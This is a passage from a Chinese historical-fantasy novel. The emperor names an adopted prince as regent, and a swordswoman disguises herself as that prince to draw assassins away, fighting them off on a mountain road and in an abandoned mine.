文官队列中,以周相为首的一批老臣率先反应过来,纷纷面露欣慰之色,一时间赞颂之声此起彼伏。
“陛下圣明!入继皇子实乃稳固国本之良策!”
“皇子殿下忠勇仁孝,必能辅佐陛下,安定朝纲,此乃社稷之福!”
“天佑大梁,陛下万岁!皇子殿下千岁!”
在这片颂扬声中,唯有一个反对的声音突兀响起,正是晋王本人。
只见他跨步出列,脸色铁青,急声道:“陛下!犬子年少德薄,才疏学浅,岂敢贸然僭越,承此天恩?这……这于宗法礼制不合!臣惶恐,恳请陛下收回成命!”
建极帝置之一冷笑,并未理会。
果然,周相先是朝御座方向躬身一礼,转而立刻面向激动失态的晋王,晓以大义道:
“晋王难舍父子亲情,乃人之常情。然陛下此举,乃是为了江山社稷,为我大梁国祚永延。皇子殿下,”他已然改口,“文武兼备,忠孝两全,实乃辅佐陛下、分忧国事的不二人选。”
周遭一片附和声众,周相再言:“此乃顺应天命,众望所归,怎能以‘僭越’论之?晋王当为陛下贺,为天下贺才是啊!”
这番话看似劝慰,实则句句以大义相压,将晋王架在“不顾大局”的火上烤,提前堵住他接下来可能的反驳。
建极帝将这一切尽收眼底,饶有兴致地看他们唇枪舌战。
而本应处于风暴中心的皇子燕平,自始至终都微垂着眼睑,默不作声,仿佛殿内这场因他而起的滔天风波,与他毫无干系。
此时,武阳侯亦出列奏道:
“陛下,父子血脉相连,乃人伦之始,天地纲常之根本。若他日世子践祚,追思生父,欲为其加尊祔庙,岂不易致情礼相冲,孝义相悖?恐非宗庙社稷长久之福。”
此言诛心,甚至把晋王本人都置于了险境,不怪晋王听得脸色白了又绿,绿了又白,暗中猛使眼色。
若建极帝不是‘龙髓仙果’在握,恐怕听了武阳侯这番直切要害的话还真会改主意。
然而,这本就不过是一出权宜之计,待他闭关苏醒,从此真正地永享江山,独揽大权——这月余的皇嗣,让谁当又有何关系?
总归永无承嗣的机会,届时,给他留个全尸,已是莫大的恩典。
“此事,”建极帝终是慢条斯理道,“朕意已决,不必再议。”
一语毕,他又轻描淡写投下第二道惊雷:
“七日后,朕将效仿古礼,闭关斋戒一月,为天下苍生诵经祈福。期间,特命皇子燕平权摄监国,暂理朝政,不得有误!”
满朝再次哗然,权摄监国,可当真是实实在在的权柄!
谁能想到建极帝不立储则矣,一立储即刻放权,当下不少老臣呆若木鸡,险些怀疑是自己年迈耳聩、妄闻幻听了。
燕平直到此刻,才深深叩首,不卑不亢高声答道:“儿臣谢恩!定当竭尽全力,安定社稷,不负重托!”
少年皇子每一个字都掷地有声,带着一股远超其年龄的冷静与沉着。随即,在周宰相、裴尚书等重臣的率先带领下,百官齐刷刷跪倒在地,高呼为国效命。
建极帝满意地点了点头,挥手道:“众卿平身吧。入嗣典礼事宜,着礼部即刻操办。”
退朝时晋王脸色灰败,几乎是被身旁的同僚搀扶着站起。他眼神阴鸷地扫过‘前世子’那挺直的背影,又飞快垂下。
武阳侯捋着胡须,抬眼回望御座上志得意满的帝王,又看了看那位新晋的皇子监国,眼底精光闪烁,深沉难测。
司天监给的黄道吉日就在五日后,礼部诸员忙得脚不沾地,才勉强得以如期告祭太庙。
青烟缭绕中,身着龙纹衮冕的燕平正式成为皇嗣,名分既定。他的住所自然也随之改换,建极帝将位于皇城东部的居所——澄明宫赐予了他,前日正好准备停当,一应器物皆按皇子规制备置。
这无疑又引得众人私下里议论纷纷,毕竟东面象征什么,不言而喻,如此一来,纵是耆宿老臣、宗室元勋,谁又轻易敢怠慢。
礼毕方歇不久,便有内侍前来禀报,言道陛下听闻皇子重伤初愈,关怀深切,特遣了太医院院判前来请脉视疾。
看诊需得安静,闲杂人等皆被屏退,此刻内殿只剩下皇子与太医二人。
“殿下,请容微臣查看一下旧伤。”鬓角微霜的方院判在仔细为燕平诊过脉后,如是说道。
燕平依言解开上衣,露出背部。方院判自药箱中取出一个白瓷小罐,对着他背后淡粉新肉一通涂抹按揉,而后点点头道:“所幸并未伤及肺腑,恢复得很好,外伤皆已痊愈,筋骨也无碍。”
“既如此,”燕平合拢衣襟,微微蹙眉道:“那大师兄给我涂的是何物?”
“祛疤膏。”方秋芹语气平和,但理直气壮,“这可是我的独门配方,对消除新生疤痕有奇效,记得早晚使用,坚持三个月。”
看着面前的药膏,燕平脸上掠过一丝无奈:“衣下之伤,不示人无碍观瞻,不必如此麻烦。”
方秋芹笑道,“怎么就不示人,难道你再也不成亲了?”
这话原本是师兄弟间久别重逢的玩笑,却说得气氛忽有一些尴尬。
方秋芹挠挠鼻头,见他推拒,也不勉强,只是将药罐留在原处,话锋一转道:“四和眼下可在宫里?”
燕平手上一顿,不解看他。
皇宫大内眼线繁杂,方秋芹并不好耽搁太久,直截了当道:“暗中接应的人亲眼见到四和跟着另一个‘你’一同行动,沿途埋伏的刺客大多被他们引开解决了。”
“若非这个‘你’不识得教中的接头暗号,只怕我们自己人也难分真假。所以,这到底是你安排的障眼法,还是……有他人搅局?”
燕平几不动声色道,“是我安排的。”
方秋芹明显松口气,但同时更为疑惑:“那他为何要独行其事?四和这孩子的表现也很奇怪,他们在城外就消失了踪影,恐有变数。”
“无妨。”燕平收下了那罐药,“我会处理。”
“那人到底什么来路,怎的此前从未听你提起过?”
“……师兄不必担心,”燕平道,“不早了。”
逐客令下得这般明显,方秋芹也不好厚脸皮再问,“也罢,正是紧要关头,只要不出岔子就好。”
*
几乎在同一时刻,王都西市“来财赌坊”二楼某间陈设华贵的上房内,慕容青也刚刚送走一位请来的坐堂大夫,顺便扔掉了染血的绷带。
她脸上逼真的易容早在混入王都前便已用特制药水洗去,然后换上了一套随处可见的丫鬟装束,面上粉黛未施,看起来就像是寻常大户人家的婢女。
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“公子,这可不算奴婢不守承诺啊。”她扬了扬手中墨迹未干的药方,对脸色依旧苍白的四和刻意柔声道:“奴婢进王城主要是为了给公子找大夫治伤,可不是为了回朝廷复命。”
“你别装了,”四和倚靠在软榻上狠狠一闭眼:“听得我浑身难受。”
慕容青耸耸肩膀,从善如流地收了那副装模作样的姿态,转身出去使唤赌坊的站桩帮她抓药。
只听门外传来相当不客气的一阵呼喝声后,慕容青没事人一样跨进门来,跟四和说道:“一会他们把药熬好了就送来。”
四和实在忍不住好奇问:“你怎么知道赌坊楼上有厢房可以住人?”
慕容青顺手给自己倒了杯茶,一饮而尽,这才语气轻松地解释道:“那些一掷千金、豪赌几天几夜的贵客,也不都是铁打的,困了累了,总得有个就近暂时歇脚的地方吧。”
“若是让人家打道回府,等一觉醒来,兴头过了,或者被家里拘住了,赌坊还上哪宰肥羊?”她放下茶杯,语气带着几分调侃,“当然了,这地方也不是谁想住就能住的。”
“一来,我给的宿金足够丰厚,抵得上他们开好几桌台子;二来嘛,我谎称你是那种烂赌成性的败家子,因为赌输了祖上田产被家法伺候打伤了,但很快你娘就会给你送钱来‘翻本’,坊主等着我们后续的赌资,这才破例允我们暂住几日。”
“原来如此,”四和看她的神情愈发古怪,掺杂着几分探究,“你对这些三教九流、市井江湖的门道,倒是清楚得很。”
“这有什么稀奇,”慕容青正拿起一个梨在手里掂量,随口道:“我家里人便是这各类坊肆的常客。”
“他很好赌?”四和顺着话头问。
“不啊,”慕容青抽出随身的小刀,开始不紧不慢地削皮,“飞鹰走马,酒色财气,他样样都好,赌只是其中一项罢了。”
“……”四和直觉接下来的话还是不要再问了,转又说道:“为何非要费这般周折住进赌坊?就不能寻个清静些的客栈?”
慕容青将削好的梨分了一半给他,打开木窗,支起一道缝隙。
“首先很安全,”她解释道,“做这种营生的,背后必定与官府衙门多有打点,有自己的门路和规矩,不会严格盘查往来宾客,适合藏身。其次很方便,”
她指了指自己的耳朵,对四和道:“你听。”
四和凝神细听,只听得楼下传来的赌徒呼喝、骰子碰撞、筹码稀里哗啦之声比刚才更为嘈杂清晰,除此之外无甚特别,不禁面露疑惑。
也是,可能太为难这小子了。
慕容青一笑,踱步回到桌前,“这地方每天人来人往,龙蛇混杂什么人都有,可以说是个五花八门的消息窝子。”
“只需要在这房里竖起耳朵听,整个王都发生的事,都能听个七七八八。总比我们出去走街串巷,或是在茶馆里一坐一天的强,消息没探听到几句,人先灌了个水饱。”
“……”四和一时语塞,不得不承认,这个人考虑得确实周全,太有经验了。
他忍着肩伤传来的阵阵抽痛,试探着问:“你究竟还想做什么?你答应过公子返回甄城,难道想要食言吗?”
“答应他的事,我言出必行。”
慕容青收敛了脸上轻松的表情,正色道:“但我还有一件必须要做,就在这几日。等做完之后,我一定马不停蹄回甄城,绝不停留。”
“届时,你的伤想必也已无大碍,只管安心回去复命便是。”
“什么事如此紧要?”
“你话太多了,”慕容青瞥了他一眼,戏谑道:“这可是女子私事。”
“咳!”四和被这话噎得险些呛到,顿时牵动肩上伤口,疼得龇牙咧嘴,倒抽凉气。
月前这位姑奶奶把他从利琅山上骗下去的时候也是这么说的,什么要先去办“女子私事”,结果领着他一路快马加鞭,竟是到了彩丹城最负盛名的歌戏楼!
53. 歌戏楼
歌戏楼的吴老板替东家经营场子这么多年,什么人没见过?
女子来看戏解闷实属稀松平常,结伴同行的最多,偶有个别为图方便或避嫌,女扮男装而来,也算不得什么罕见事。
吴老板素来看破不说破,从不横生枝节。
他手底下的人照规矩行事,等闲不会出什么岔子。
可今日却有些不同寻常,有伙计匆匆来报,说聆音阁雅间来了位“女怪客”,点名要请云姑娘“清吟”,不知该如何应对。
“请清吟”是指出得起丰厚赏钱的贵客专门请喜欢的角儿来唱一段,一般可以在戏台,也可以单独在贵客的雅间表演,女子点名女子更是相对安全,没什么太多别的顾忌。
可前来禀报的伙计言辞间却很是为难,支支吾吾说得含混,吴老板只得亲自前去看看情况。
这一看,饶是他见多识广,也不由暗暗吃惊——坏了,竟有人男扮女装来看戏!
只见雅间中端坐着一位头戴帷帽,身着素裙的高挑女子,乍看像是书香门第耻于明目张胆听戏,这才遮遮掩掩,但吴老板何等眼力,一眼就看出其风尘仆仆,靴上沾有被毛,应是骑马而来;腰背挺直有力,坐如青松,下盘极稳;握杯的手指节分明,指间和虎口处都隐约可见握持硬物磨出的厚茧。
这些都还有可能是将门之女、亦或江湖女侠,因偶感风寒之类的其他理由才敷面遮脸,但有两点仍说不通:
一则,吴老板笑意盈盈凑近些后,丝毫嗅不到其周身有任何脂粉香气,任是连衣物上的熏香也无,这世间女子但凡还有闲暇出门听曲,便绝不可能不修边幅至此;
二则,其身旁跟随的侍卫,站位古怪。一般护卫女眷,都该站在其身侧或是身前,以提前隔绝靠近的闲人,而此人却习惯靠后,视线开阔,方便听从调令,这都是跟随男主子的作风。
综上,这哪里是什么“女怪客”?分明是个武功高强的男子,不知出于何种目的,指明要楼里新晋的唱角云姑娘单独献艺。
他若是正正经经来的便罢了,却偏要搞女装这种歪门邪道,居心叵测,不得不防。
吴老板想完这些不过是一眨眼的工夫,上前赔笑道:“贵客见谅,云姑娘近来身体抱恙,不便献唱。”
慕容青帷帽下的眉头一蹙,“什么病?我听闻她不是昨日刚登过台?”
“突发旧疾。”吴老板滴水不漏,小心道,“早上刚请的郎中,万望贵客海涵。今日的茶水钱便免了,权当给贵客赔罪。”
“哦?”慕容青沉吟片刻,忽地从袖中抽出一张银票,“啪”一声轻按在身旁的红木桌面上,力道不轻不重。
“老板且再看看这个。三百两,只耽误云姑娘一炷香的功夫,听两段曲便走,可行个方便?”
那银票的面额确实诱人,但这不就更能证明此人处心积虑、图谋不轨?
吴老板心中防备更甚,当即面露难色,拱手道:“贵客厚爱,云姑娘若知晓,定然感激不尽。只是这病气无眼,若是染给诸位贵客,当叫我全楼上下于心难安了。”
“哼!”慕容青发出一声嗤笑,帷帽轻晃,“敬酒不吃吃罚酒,你可知我是谁吗?”
她反手一指,正指向身后四和的腰间,“你可认得此物?”
四和身子倏然一紧,差点没忍住伸手去捂腰侧。那腰牌是世子府侍卫的凭证,并非什么绝密之物,一路行事匆忙,倒是忘记摘了,平白给人利用。
吴老板顺着她所指望去,目光触及那腰牌上的纹样,脸色霎时一变,额角沁出细密的冷汗。
这下当真是骑虎难下!
他飞速权衡利弊,最终那小丫头的笑脸浮现在眼前。吴老板把心一横,咬牙道:
“贵客……贵客若执意要见,那也是云姑娘的福分。不知贵客想点哪出戏码?小人这便去召集乐师、鼓师还有配角儿,定为您安排妥帖,热热闹闹地唱上一出全本戏,您看如何?”
“……”慕容青帷帽下的嘴角微微抽动,哪里会看不出对方这是想让自己在众目睽睽之下,纵有歹意,也难以施展。
她心中非但不恼,反而十分高兴——原本,她顺水推舟,便只是为了试探一番此地是否真的只闻歌戏,不涉风月。
从前的昭早早不谙险恶,思虑难免简单。好在这吴老板虽畏惧权势,却仍尽力维护楼里的姑娘,算得上是个品性不错、可堪信赖之人。
她收起先前故作倨傲的姿态,递过去一枚小巧玲珑的玉坠,轻笑道:
“实不相瞒,云姑娘乃我多年故交,方才无礼,还请勿怪。劳烦老板将此信物交予云姑娘一看,若她不愿相见,我立刻转身便走,绝无二话。”
吴老板接过那品质上乘的玉坠,怔愣一瞬,随即恍然大悟——搞了半天竟是一场试探,白让他担惊受怕这一场!
他内心一通跳脚腹诽,没料想那丫头竟还有这等有来头、但不着调的靠山。
奈何瞥了眼那令人发怵的腰牌,他只好连忙躬身道:“原来如此,贵客稍候,小人这便去通传。”说罢,匆匆退了出去。
房门一关,四和立刻收起腰牌,压低声音气急败坏道:“你非要耽搁时间来这里做什么?还借我当幌子,你可不得胡作非为,败坏公子名声!”
慕容青无辜反问:“哪能呢,我看起来像是做坏事的吗?”
“……”四和嘴唇动了动,没说话,然复杂的表情已道尽千言万语。
慕容青懒得就此多作解释,反正一会他就知道了。
她语气沉静下来,转而问道:“你觉得利琅山上那批杀手一击不成,其背后主使会就此放弃,坐以待毙吗?”
四和脸色一白,咬牙道:“自然不会。所以你该速速返回甄城,让我好尽快赶回公子身边!”
慕容青点点头,拨弄着花瓶里两支一模一样的山茶花,“放心,你很快就能到公子身边。”
这时门外传来几声叩门的轻响,伴随着吴老板恭敬的嗓音:“贵客,云姑娘到了。”
房门开启,一位身着碧色罗裙、面容文秀的歌姬款步而入。
她先是向着房内二人微屈行礼,礼数周全,随后才抬起眼眸,不动声色地快速打量了一下慕容青和四和。
待吴老板识趣地带上房门,慕容青便不再掩饰,随手摘下帷帽,唤道:“云从。”
云从顿时掩口低呼,讶异之色溢于言表,“还真的是小姐?!”
慕容青眉毛一扬,带着些许提醒的意味。
云从立刻会意,从善如流地改口:“早早,怎的搞这般大阵仗?若是有要紧事,可以去我的住处说,楼里难免人多眼杂。”
“没事,我正需要这里人多眼杂。”慕容青意有所指地一笑,随即收敛笑容,郑重道:“云从,我需要你帮忙。”
云从自幼同昭早早一块长大,却从未见她流露过今日这样的神色——宛如一把雪刃长刀,经过千锤百炼,寒光湛湛。
乍看眼前人分明丝毫未变,但某些地方却已截然不同。
她甚至偷偷在端详她的脸,可无论是面部轮廓还是颈项肌肤,都没有发现任何易容的痕迹。
虽然疑惑,但云从还是毫不犹豫颔首道:“你说,只要我能做到。”
“你还记得肖平的五官样貌吗?”
“当然。”
从前跟着早早见过肖平好几次,毕竟原是要当“姑爷”的人,她怎么会忘。只不过就算在彩丹城,她也听说了肖平的传闻,原来他竟是……
“我要你帮我,易容成肖平的模样。”慕容青直截了当道,“也不用一模一样,有个八分相似就行。”
“啊?”云从惊得瞪大了双眼,几乎以为自己听错,“你易容成他做什么?难不成……是想把那婚约再续上?”
她惊疑不定看向一旁同样瞠目结舌的侍卫,“这位是你找来扮演世子侍卫的人吗?能行得通吗?”
“别提那些个老黄历了,”慕容青不禁扶了扶额,“我上哪续去?”
云从愕然:“那你到底想干嘛?”
四和也总算缓过劲来,加入追问:“你到底想干嘛?”
慕容青抬头先是指向四和,不容置喙道:“你,出去守着门口望风,马上就能见分晓。”
随即又转向云从,急促道:“时间紧迫,我来不及向你解释其中缘由。但我保证,绝不会胡来。”
见她急迫,云从忙压下所有疑问重重点头:“好!我这就去拿妆奁匣子,再备套衣物。”
四和被赶出门外在廊下站了约莫两刻钟,其中半刻在想这女人葫芦里卖的什么药,越想越离奇,索性暂时放弃;另一刻半他都在反省自己干嘛要听之任之,由着她发号施令?
公子之命是确保其安全返回甄城,可没说要听从她调遣。绑回去也是回,自己应该要立刻、马上、当场阻止她乱来,将她速速送回甄城!
正当他下定决心,准备推门进去表明态度时,门内
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反倒先一步传来呼声。
四和酝酿好气势推门而入,打定主意不论看到什么,都要严词要求……要求什么来着?他所有备好的腹稿在看清屋内站着的那人时,都消失于无形。
像,太像了,公子竟就站在那里!
眉眼、轮廓自不必说,关键是那股子神态、气质,甚至微微抿唇的小细节,都惟妙惟肖,这是最难得的,一瞬间连他都差点恍神!
幸好四和对公子极为熟悉,凝神细看后,还是能察觉到许多细微差别之处。
他看向一旁正在收拾颜料、用具的云从,眼中充满了难以置信。
没想到一个看似普通的柔弱歌姬,竟身怀如此精妙的易容奇术,她又是谁,和昭早早是什么关系,之前她唤她小姐,莫非……
为防时间太久引人怀疑,云从已先行退出雅间。
而昭早早则出声打断了他的思绪:“四和,我们接下来的行程十分冒险,让你后头的人马就地在此处安顿,不必再跟。”
四和第一反应很是莫名其妙,谁冒险?哪个“我们”?
旋即他看向她,心中那股模糊的猜想愈来愈清晰,但仍是太过荒谬大胆,他忍不住开口确认道:
“然后呢?你……莫非是要我同你……李代桃僵?”
对方毫不掩饰地验证了他的想法:
“没错。你我轻装简行,日夜兼程,抄近路绕到世子的队伍前面去。”
她目光灼灼盯过来,“我们要赶在世子之前进王都,这一程会很危险,你若有任何顾虑,也可以选择留下,但我会暂时封住你的经脉,免得你去通风报信。”
四和艰难地消化着这个信息,声音干涩:“你此番行动,不打算禀报公子?”
“不然呢?”昭早早像是听到了什么奇怪的问题,好笑地看他一眼,反问道:“他会同意?何必拉拉扯扯,白费时间。”
“……”四和皱紧了眉头。一般而言,他应当反驳其他人对公子不敬的言辞,但他现在没那个闲心。
原则上,他不能够自作主张、擅自行动,但面前这个足以以假乱真的替身,确确实实可以为公子引开不少凶险。
难怪昭早早说只需八分相似便好,这样看起来,反倒像公子特地来这鱼龙混杂之地,乔装改扮,以掩人耳目。
一会儿他们这幅模样出去,必定会被暗处有心之人的哨探盯上。
而加上有自己这个真侍卫从旁配合,不怕迷惑不了杀手的视线。
四和长叹一声,感觉自己真的是上了贼船。他攥紧双拳,决定道:“行!我这就去准备!”
昭早早露出一丝柔和笑意,伸手拍了拍他的肩膀,那情态动作,竟果真与公子别无二致。
四和有些不适应地偏了偏头,不解她是何时对公子体察入微的。但眼下不是探究这些的时候,事不宜迟,他当即推门而去。
聆音阁内重归寂静,只剩下慕容青一人。
她走到铜镜前,静静注视着镜中那张既熟悉又陌生的面孔。
虽然她很想知道二哥慕容枢的消息,但她相信如果他身陷囹圄、亟需救助,肖平是绝不会以此为条件来挟制她的。
可见其所获得的信息中,慕容枢定然没有什么危险,她必须得先办完眼前的事。
半个时辰后,歌戏楼后门巷中,四和背着一个硕大的包袱,熟练地检查着马匹和鞍具。
一身男子劲装的慕容青仍是头戴帷帽,遮住“晋王世子”的面容,只是风吹起时,那轻纱更薄了一层,若隐若现的,像是生怕人看不清。
她看着四和背后那大包袱,禁不住出言提醒:“衣物不必带这许多,若往北走气候转冷,沿途进城采买便是,耽误不了多少工夫。”
“我没带衣服啊?”
四和坦言道,“这里面不过装了些许干粮,留着路上吃。”
慕容青闻言眯了眯眼,想起他和那瘦长道士同样是一顿吃二十个肉包子的人。当下问道:“说老实话,你和溪真道长是亲戚吧?”
四和转过脸去没搭理她,反是催促:“再耽搁天就黑了,快走吧!”
经过这些天密集的奔波特训,他的骑术可谓突飞猛进,足以应对接下来的漫漫长路。
两人不再多言,一抖缰绳,马蹄声渐行渐远。
而在他们身后,吴老板站在窗边,对自己毒辣的眼光十分肯定——就说是男扮女装吧?呿!这些个天潢贵胄公子哥,就是癖好怪,玩得花。
54. 追杀
马快路险,山风如刀,两匹骏马沿着人迹罕至的崎岖小道奋力前行。
往上,林木稀疏,道路蜿蜒曲折,越走越是狭窄,堪堪能容纳一骑。左侧是陡峭的岩壁,怪石嶙峋,而右侧什么也没有——偶尔飞鸟擦着他们身侧飞过,下方是望不见底、云腾雾绕的悬崖。
马蹄踏在碎石上的“哒哒”声在空旷的山间回响,显得分外寂静。四和不禁问道:“这条路,当真能走通吗?”
“能啊,”慕容青四平八稳的声音从前头传来,“贴着崖壁走,小心些便是。”
“此地若有伏击,可就避无可避了。”
“伏哪?”慕容青嗤笑道,“这一座孤峰,若有本事,便从天上来吧。”
“你怎知此路能通?”四和还是不大放心,“难道是工部有详细的舆图?”
“当然没有。”慕容青答得随意,“此地寻常无人行走,但我从前为赶路曾走过一次。”
她顿了顿,语气中隐含一丝调侃,“你今日这般话多,莫不是心中紧张?其实我带了套索,你若不慎滑下去,我可以把你拽上来。”
四和紧握缰绳的手已沁出细汗,压根就不敢往右边看,但还是挺直了脊背说:“怎么可能,我才不怕。”
“是吗?”慕容青头也不回道,“我第一次走这里的时候,可怕得要死。”
“那为何还要走?””
“人生在世,总有一些事不得不为。”前方传来的声音很轻,却字字清晰,带着沉甸甸的分量。“再坚持一会,从此处下去,我们就能反抄到前面了。”
四和无言地跟上,半晌换了个话题,“你怎么不继续戴帷帽?”
“没必要。”慕容青回答道,“跟着我们的鱼,够多了。”
“啊?我怎么……”他原想说自己并未察觉,话到嘴边赶忙咽了下去,转而打起十二分的警惕。不是他盲目相信这个奇女子,而是前车之鉴实在太多。
好不容易捱到下山,两人寻了一处有树荫的地方暂歇。
这一路翻山越岭、风餐露宿地抄近道,确实极大地缩短了行程,但人、马都着实疲惫不堪。
四和抿了抿干裂的嘴唇,放开缰绳让马吃草,自己也就着水囊啃些干粮补充体力。
变故就发生在那一瞬间——慕容青的反应快得非人,她斩落利箭的那一刀,刀光不是亮,而是寒,一种浸入骨髓的寒意。
只听一片密如骤雨的“叮当”脆响,数支从林间暗处射来的弩箭,已被她尽数绞碎!
“这边!”
她低喝一声,身形已如猎豹窜起,疾速扑入旁边的密林。
四和也不傻,此时躲向开阔之处,必然会成为活靶子,当即拔剑飞身跟上她。
然而林中影影绰绰,也有不少刺客埋伏,身后纷杂的脚步声迅速逼近,渐成合围之势。
四和以一敌多,在数人的结阵围攻下渐渐左右支拙,慕容青眼神一凛,刀势陡然变得暴烈,刀锋所向,人头乱滚血肉横飞,竟是硬生生破开一道缺口!
“走!”
她吹响口哨,几个起落便纵跃至树林边缘。
哨音未落,枣红马应声狂奔而来,可另一匹坐骑却不见踪影,当下哪有时间犹豫,两人飞身上马,慕容青一扯缰绳,向着远处的河道方向疾驰。
远远望去,河中有一道木桥,桥身横跨在湍急的水流之上,看起来年代久远,不少地方缺失腐朽,是断不可能走马的。
慕容青泰然自若,放马儿离去后对四和道:“跟紧我,我不会让你落水的。”
身后杀手如影随形,紧追不舍,桥下河水咆哮,白沫翻涌,四和牙一咬心一横,梗着脖子道:“快走,别废话!”
两人行至桥中,异变再生——对岸芦苇荡中,弓弦响动,埋伏的弓箭手显出身形,冰冷的箭镞如飞蝗般瞄准二人激射而来,更糟糕的是,后方杀手业已集结冲上桥面,彻底堵死了退路。
前路断,后路绝,左右是滚滚激流。
慕容青啧一声,猛地运劲将脚下数块木板踢飞起来,正挡住迎面射来的箭矢!与此同时,她手起刀落,毫不犹豫地直接斩断了桥索。
“咔嚓——!”
整段桥面霎时向下崩塌、解体四散!桥上所有人瞬间失去平衡,连同无数碎木残骸一道,直坠向下方的汹涌急流!
就在落水的前一刻,慕容青一手紧紧抓住四和手臂,另一手闪电般抛出一道细长却坚韧的索套,精准无比地正挂住了河岸残留的桥桩,两人如同荡秋千般,借着余势和索套的牵引,凌空飞越过水面!
桥上的杀手自然没这般好运,芦苇荡中的弓箭手更是猝不及防,只觉头顶恶风压下,尚未来得及改换武器,凛冽的刀锋便已席卷而至!
随着最后一蓬血雨洒落在金黄的芦苇上,四和迎风打了一个大大的喷嚏。慕容青正持刀检查有无活口,闻声回过头,这才注意到四和浑身湿透,裤管还在滴水。
糟了,方才套索扔迟了一点,离河面高度不够,好像让他划水里了。
慕容青心虚地清了清嗓子,问道:“没事吧?这里离云州城不远,要不我们赶紧去找间客栈?”
“没事,”四和脸色有些发青,木然道:“我决定克服。”
话虽如此,两人还是赶在天黑前进了城,毕竟除却更换衣物,还得补充食水、在城镇买新的马匹。
只是入城后的过程依旧不太平,在贩马的集市上,有“货商”突然从木箱中抽出明晃晃的钢刀,暴起发难;面点铺里笑容可掬的伙计,递上来的肉包子害得路旁的野狗口吐白沫——这可不是退钱那么简单,四和的愤怒比慕容青更甚。
两人收拾齐备继续上路,离王都越近,杀手出现的频率越高,一次比一次刁钻狠辣。慕容青的刀越挥越快,四和在接连不断的生死搏杀中,剑法也精进神速,只是身上难免添了几道新的伤痕。
直至他们抵达离王都已不足百里的柳临城,这一路的追杀突然间都销声匿迹。
慕容青带着四和破天荒地在城中招摇过市闲逛了两日,却无事发生,惹得两人都还有些不习惯。
既如此,也不必多待,慕容青进到一家老字号的工匠铺子,买了两根青竹鱼竿。
掌柜的两鬓斑白,已近花甲之年,见他们识货,又额外送了两副小巧的三爪鱼钩。
“多谢。”慕容青一笑,真心实意。
四和拿着她硬塞给自己的鱼竿,不明白买这些是要做什么,慕容青答道:“等出了城你就知道了。”
“出城?你不会真想去城外钓鱼吧?”四和隐约感觉到她的想法,但并不赞同,“我们该尽快赶回王都,兴许那些人还有别的后招。”
“他们还没有大胆到在皇帝眼皮子底下作乱,这里便是最后的机会。”慕容青迤迤然边走边甩竿玩,“而且,我若这幅模样回王都,被传召进宫怎么办?还是少跟你家公子惹麻烦,就在此地解决吧。”
四和问:“你想怎么做?”
“你不是猜到了嘛,”慕容青拿鱼竿随手挽了个凌厉的枪花,破空有声,“钓鱼。”
柳临城以炼铁闻名,城外遍布着许多废弃的矿洞,洞内巷道纵横交错,如同巨大的蚁穴。
为防过路人误入迷失,官府还特地在一些洞口架设了告示牌。两人翻身下马,将马匹牵至隐蔽处拴好。
“你就在这钓鱼?”四和指着面前朱漆的告示,“这里面能有水?!”
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“没水就不能钓鱼吗,”慕容青连火把都已准备妥当,一边点燃一边催促他,“快走快走,放心吧,这座矿洞的巷道图我在工部是真见过,迷不了路。”
矿洞内零零散散堆满了矿渣,越往里走,越是崎岖难行。黑黢黢的分岔路口好似通往九幽黄泉,散发着阴冷潮湿的气息。
“我们要去哪?”四和举着火把,仔细地打量着周围。
“这洞里有一处很高的通风井,所有的气流都依赖从那里灌进来。”
“那你到底带着鱼竿来干嘛?”
“不知道啊,”慕容青理直气壮地感慨,“你不知道,我不知道,那些杀手也不知道。你说,连你都这么想知道,他们会不会更想跟进来弄个明白?”
“而且,这种地形,可是瓮中捉鳖的绝佳机会。就算杀不死,堵个路放把火什么的,熏也熏死了,我要是杀手,哪抵抗得了这种诱惑。”
四和瞪大眼深吸一口气,正想说些什么——通风井到了。这里的空气比别处要清新一些,像是弥漫着淡淡的腥气,或许不是风腥,而是杀伐的味道。
杀手来得比预想中还要快,两人迅速熄灭手中的火把,悄无声息隐入黑暗。
杂乱的脚步声由远及近,好几处通道口都隐约映出跳动的火光,这是要分散包抄、势在必得——可见这次围杀他们的人数量不少,甚至很有可能是倾巢而出,定要让他们死在王城之外。
矿洞中传声封闭,兵刃刮擦岩壁的细响、粗重的呼吸、以及压低了嗓音的对话,都清晰可闻。
一个低沉粗哑的声音焦躁道:“‘尾巴’呢?怎么没有跟紧他们?”
“主子传话,两边都不能放过,”另一个声音恭敬却略显迟疑地回道,“‘尾巴’去后面埋伏官道上那队了。”
“妈的!”果然前面那个人恨得连声咒骂,声音里带着一股近乎怨愤的偏执,“老子一定要把洞里的这个龟儿子剁了,再把官道上那个冒牌货也碎尸万段!”
这一路损兵折将,任务次次失败,已成为他心头一根毒刺,只欲除之而后快。
黑暗中,脚步声越来越近。
四和屏住呼吸,全身紧绷,持剑的手已是蓄势待发。
慕容青则微微侧首,全神贯注到了极致,每一丝最细微的轻响都没有逃过她的耳朵。
有多少人、武功如何、分散在哪里,都已在她心中绘制出一张无形的图谱,清晰地标注了靠前的主力都分布在哪几个洞口,正呈四面八方包围过来。
这时,一股新鲜的气流从头顶涌入,吹得朽坏的木质井架在风中吱呀作响——时机到了。
一个精致秀美的小香囊正挂在慕容青的鱼钩上,她极轻地拍了一下四和,以防万一,示意他闭气。
正是这一点动作,即刻引得数枚飞镖划空而来!
而慕容青比之更快,运起巧劲控住鱼竿,接连将香囊中的药粉挥洒向那些杀手聚集的洞口,而通风井形成的天然气流,正是她最好的帮手,席卷着“神仙醉”迅速弥散开去。
药效发作得极快。
短短数息之间,先是兵器脱手坠地的“哐当”声,后是短促而无力的挣扎声,最后接二连三的闷响犹如沉重的麻袋倒地,矿洞内顿时陷入一片诡异的死寂。
四和憋得满脸潮红,直到慕容青轻轻拍了拍他示意安全,才惊喜交加地大喘气道:“这是什么药粉?你还有这等好东西?”
“现在没有了。”慕容青晃了晃空空如也的香囊,也很是惋惜地感叹道,“不过确实真好用啊……比打打杀杀省力多了,回头得想办法再弄点。”
“我……”四和脸色红得发紫,嘴角溢出鲜血,话未说完,便身形一僵栽倒下去。
55. 前夜
“醒了?”
肩头像是被埋进一块烧红的烙铁,灼烫和尖锐的疼痛一起拽回了四和的意识,他费力地睁开眼皮,就看公子那张满含薄怒的脸怼在自己面前。
一瞬间他便知道这是顶着易容的昭早早——毕竟自家公子鲜少有这样生动的表情。
“中了飞镖你吭声啊,那鬼地方黑布隆冬的,你不吭声我哪里知道?”
对方只差没翻个白眼,叭叭叭好一通责备。
“那镖上可是淬了剧毒的,差点你就咽气了。好家伙,叫我回头怎么跟肖平交待?”
“……”四和紧皱眉头,越听越别扭,万没想到这些词居然颠倒了……罢了,他心虚道:“一点小伤,别跟公子提。”
